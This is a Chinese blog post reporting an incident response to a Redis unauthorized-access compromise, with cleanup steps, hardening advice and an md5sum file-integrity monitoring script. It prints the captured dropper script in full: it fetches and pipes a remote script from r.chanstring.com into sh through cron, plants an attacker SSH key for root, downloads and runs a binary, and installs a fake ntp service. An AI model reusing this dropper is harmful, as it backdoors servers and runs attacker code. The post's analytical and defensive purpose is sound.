文档章节

redis非授权访问的查毒过程

告别只是另一种体验
 告别只是另一种体验
发布于 2016/10/09 09:54
字数 1518
阅读 18
收藏 1
点赞 0
评论 0

排查及处理过程 2016年9月26日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被入侵了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。

第二天,开始排查原因。 首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了) wKiom1fqP7PRVWjUAAAWNnYpeYY331.png
联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。

根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。

我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里操作,防止这个文件是浏览器0day利用脚本), 下面是wget 下载到的pm.sh,内容如下: exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo"/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root mkdir-p /var/spool/cron/crontabs echo"/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes">> /etc/ssh/sshd_config echo "RSAAuthentication yes">> /etc/ssh/sshd_config echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi

if[ ! -f "/etc/init.d/ntp" ]; then if [ ! -f"/etc/systemd/system/ntp.service" ]; then mkdir -p /opt curl -fsSL http://r.chanstring.com/v51/lady_uname-m -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install fi fi

/etc/init.d/ntpstart

psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9 psauxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

根据这个脚本的内容,我们大致就知道他的作案手段了: 1、利用redis非授权入侵 2、下载脚本,写入crontab定时执行,确保病毒的再生。 3、修改服务器sshd登录为他自己的秘钥。 4、根据http://r.chanstring.com/v51/lady_uname-m 这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33。 5、/opt/KHK75NEOiq33 -Install 这步操作应该是释放出病毒文件(如下的ntp)【hexdump -C /opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。暂不具备反汇编能力,无法获知这个命令感染了哪些文件】 6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)

附发现的伪造的/etc/init.d/ntp文件内容: #!/bin/sh #For RedHat and cousins: #chkconfig: - 99 01 #description: NTP daemon #processname: /usr/sbin/ntp

###BEGIN INIT INFO #Provides: /usr/sbin/ntp #Required-Start: #Required-Stop: #Default-Start: 2 3 4 5 #Default-Stop: 0 1 6 #Short-Description: NTP daemon #Description: NTP daemon ###END INIT INFO

cmd="/usr/sbin/ntp "-D""

正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的

将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。

name=$(basename$0) pid_file="/var/run/$name.pid" stdout_log="/var/log/$name.log" stderr_log="/var/log/$name.err"

get_pid(){ cat "$pid_file" }

is_running(){ [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1 }

case"$1" in start) if is_running; then echo "Already started" else echo "Starting $name"

        $cmd >>"$stdout_log" 2>> "$stderr_log" &
        echo $! > "$pid_file"
        if ! is_running; then
            echo "Unable to start, see$stdout_log and $stderr_log"
            exit 1
        fi
    fi
;;
stop)
    if is_running; then
        echo -n "Stopping$name.."
        kill $(get_pid)
        for i in {1..10}
        do
            if ! is_running; then
                break
            fi
            echo -n "."
            sleep 1
        done
        echo
        if is_running; then
            echo "Not stopped; maystill be shutting down or shutdown may have failed"
            exit 1
        else
            echo "Stopped"
            if [ -f "$pid_file"]; then
                rm "$pid_file"
            fi
        fi
    else
        echo "Not running"
    fi
;;
restart)
    $0 stop
    if is_running; then
        echo "Unable to stop, will notattempt to start"
        exit 1
    fi
    $0 start
;;
status)
    if is_running; then
        echo "Running"
    else
        echo "Stopped"
        exit 1
    fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;

esac exit0

chkconfig--list|grep 3:on 可以看到ntp这个伪装的服务被设置为开机自启动了。 wKioL1fqQDiikzQ6AABTSc_qbGY901.png

解决方法: chkconfig ntp off chkconfig --del ntp 先拷贝出ntp这个启动脚本,然后rm -f /etc/init.d/ntp 先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq33这2个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件 编辑 /var/spool/cron/crontabs/root和 /var/spool/cron/root,清除植入的cron计划任务

此外,还要检查以下几处: 1、是否有新添加的账户 【grep '/bin/bash' /etc/passwd】 2、查看其他可登陆的账户下是否也有恶意的计划任务 3、检查是否有新添加了sudo账户

当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。

安全策略: 给redis做密码授权访问,不要绑定在0.0.0.0:6379端口。 开启iptables防火墙,只允许部分主机访问redis端口 编写脚本,定期检查汇报重要文件的md5sum。

附一个之前写过检测md5sum的脚本: step1、首先在新安装的无问题的电脑上执行下面几条命令,将MD5SUM保存下来,作为原始模板: #!/bin/bash #记录原始的执行文件的md5sum

if[[ ! -d /var/md5sum/ ]];then mkdir /var/md5sum -p fi

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori done

step2、下面是我的/home/scripts/chkmd5sum.sh脚本,作用是检查相关目录的md5sum是否发生变化。 #!/bin/bash #需要配置计划任务定期执行这个脚本,比对md5sum是否发生变化,变化则自动告警。

if[[ ! -d /var/md5sum/ ]];then mkdir /var/md5sum -p fi

rm-f /tmp/md5sum*

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_date+%F done

if! diff /tmp/md5sum.log_date +%F /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." lirulei90@126.com fi rm-f /tmp/md5sum_status

step3、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查2次或更多) echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1'>> /var/spool/cron/root

后续 去chinaz.com查看下这个域名,结果也在预料之内,注册在国外,未备案。 wKioL1fqQH-DMM8LAABSQVXOWz4927.png wKiom1fqQH_CZ6LZAAEKOnRAK5U444.png wKioL1fqQIDAcNDiAACdE79SKP4017.png wKioL1fqQIHy4r6JAAGA5BIQpL8553.png

本文转载自:http://lee90.blog.51cto.com/10414478/1857073

共有 人打赏支持
告别只是另一种体验
粉丝 5
博文 29
码字总数 28415
作品 0
浦东
前端工程师
redis攻击事件

听到朋友说接到阿里云的报障,提示黑客把他的服务器当肉鸡了,当时有点怕怕,继而官方的网络带宽也爆了进而系统处于瘫痪,当时我需要帮他处理这个问题 1 在没有查到杀手之前我是先把带宽&端口...

baishuchao ⋅ 2017/08/16 ⋅ 0

Redis 笔记与总结7 PHP + Redis 信息管理系统(用户信息的增删改查)

Redis 笔记与总结7 PHP + Redis 信息管理系统(用户信息的增删改查) 1. PHP 连接 Redis 访问 redis 官方网站的 client 栏目:http://www.redis.io/clients#php,可以获取 redis 的 php 扩展...

蜗牛奔跑 ⋅ 2016/05/10 ⋅ 0

Redis 未授权访问缺陷可轻易导致系统被黑

Sebug 网站公布了 Redis 未授权访问缺陷的详细漏洞信息,这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文: 漏洞概要 Redis 默认情况下,会绑定在0.0.0.0:6379,这样将会将R...

oschina ⋅ 2015/11/12 ⋅ 29

Redis 未授权访问缺陷可轻易导致系统被黑

Sebug 公布了 Redis 未授权访问缺陷的详细漏洞信息,这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文: 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Red...

奔跑的阿飞 ⋅ 2017/09/05 ⋅ 0

端口渗透总结

进行端口扫描的前提条件是: 知道端口的banner信息、端口上运行的服务、常见应用的默认端口 首先是先用端口扫描器nmap等工具探测目标开放的端口和服务 服务默认端口 公认端口(Well Known Por...

温酒送诗人 ⋅ 01/10 ⋅ 0

Yii2 redis同步数据到mysql

将redis数据写入mysql中: 本次案例讲解将如何将商城中商品浏览次数通过缓存记录并写入mysql中 具体的redis安装过程暂且就省略了..... 一、安装redis插件|配置redis composer require yiisof...

botkenni ⋅ 05/03 ⋅ 0

Redis未授权访问缺陷让服务器沦为肉鸡

朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接。朋友不知如何下手,便邀请我帮忙处理。 阿里云的安全告...

花生核 ⋅ 2016/06/20 ⋅ 11

redis认证,主从复制,aof,快照

redis> KEYS 1. "visits:1:totals" 2. "users:jdoe" 3. "visits:2:totals" 4. "sets" 5. "visits:635:totals;" 6. "fuge" 7. "circle:jdoe:soccer" 8. "dat" 9. "circle:jdoe:family" redis>......

泡海椒 ⋅ 2016/01/22 ⋅ 0

详解Redis数据库配置不当遭恶意入侵过程

Redis数据库简介 Redis(REmote DIctionary Server)是一款开源、支持网络、基于内存的高级键值对(Key-Value)存储数据库,其使用C语言编写实现。Redis通常被称为数据结构服务器,因为数据库...

iphoenix ⋅ 2016/08/03 ⋅ 0

分布式快速开发框架--GO-YEA

YEA 重要事情说三遍:使用go-yea前,请先下载yea,并且执行yea/pom.xml,不然会缺少依赖Jar包。 mvn clean install -Dmaven.test.skip=true YEA项目地址:https://git.oschina.net/yiyongfei...

yiyongfei ⋅ 2017/04/28 ⋅ 6

没有更多内容

加载失败,请刷新页面

加载更多

下一页

用SQL命令查看Mysql数据库大小

要想知道每个数据库的大小的话,步骤如下: 1、进入information_schema 数据库(存放了其他的数据库的信息) use information_schema; 2、查询所有数据的大小: select concat(round(sum(da...

源哥L ⋅ 38分钟前 ⋅ 0

两个小实验简单介绍@Scope("prototype")

实验一 首先有如下代码(其中@RestController的作用相当于@Controller+@Responsebody,可忽略) @RestController//@Scope("prototype")public class TestController { @RequestMap...

kalnkaya ⋅ 43分钟前 ⋅ 0

php-fpm的pool&php-fpm慢执行日志&open_basedir&php-fpm进程管理

12.21 php-fpm的pool pool是PHP-fpm的资源池,如果多个站点共用一个pool,则可能造成资源池中的资源耗尽,最终访问网站时出现502。 为了解决上述问题,我们可以配置多个pool,不同的站点使用...

影夜Linux ⋅ 52分钟前 ⋅ 0

微服务 WildFly Swarm 管理

Expose Application Metrics and Information 要公开关于我们的微服务的有用信息,我们需要做的就是将监视器模块添加到我们的pom.xml中: 这将使在管理和监视功能得到实现。从监控角度来看,...

woshixin ⋅ 52分钟前 ⋅ 0

java连接 mongo伪集群部署遇到的坑

部署mongo伪集群 #创建mongo数据存放文件地址mkdir -p /usr/local/config1/datamkdir -p /usr/local/config2/data mkdir -p /usr/local/config3/data mkdir -p /usr/local/config1/l......

努力爬坑人 ⋅ 53分钟前 ⋅ 0

React Native & Weex 区别

JS引擎 Weex使用V8, React native使用JSCore JS开发框架 ( Js Framework ) Weex基于vue.js(2W+ star)。小巧轻量的前端开发框架,组件化,数据绑定,2.0引入virtual dom。 ReactNative使用...

东东笔记 ⋅ 今天 ⋅ 1

UIkit 分页组件动态加载简单实现

1. 问题描述 使用过UIkit分页组件的都清楚,UIkit的分页不能动态刷新数据,也就是不能在点击下一页的时候,动态从后台加载数据,并且刷新页数以及该页数上的数据,下面是一个简单实现,没有做...

影狼 ⋅ 今天 ⋅ 0

Mobx入门之三:Provider && inject

上一节中<App/>组件传递状态temperatures给children -- <TemperatureInput />,如果组建是一个tree, 那么属性的传递则会非常繁琐。redux使用Provider给子组件提供store, connect将子组件和s...

pengqinmm ⋅ 今天 ⋅ 0

魔兽世界 7.0版本 S23/S24/S25全职业普通+精锐套

  死亡骑士   (联盟)   (部落)   (精锐)   恶魔猎手   (联盟)   (部落)   (精锐)   德鲁伊   (联盟)   (部落)   (精锐)   猎人   (联盟) ...

wangchen1999 ⋅ 今天 ⋅ 0

maven顶级pom和子pom的版本号批量修改

当一个版本发布,新起一个版本时,我们只需要手动修改一下项目中pom.xml的版本号就可以了。但是如果这个maven项目有很多的子模块项目,那么一个个手动的去改就显得费时费力又繁琐了。还好,m...

ArlenXu ⋅ 今天 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部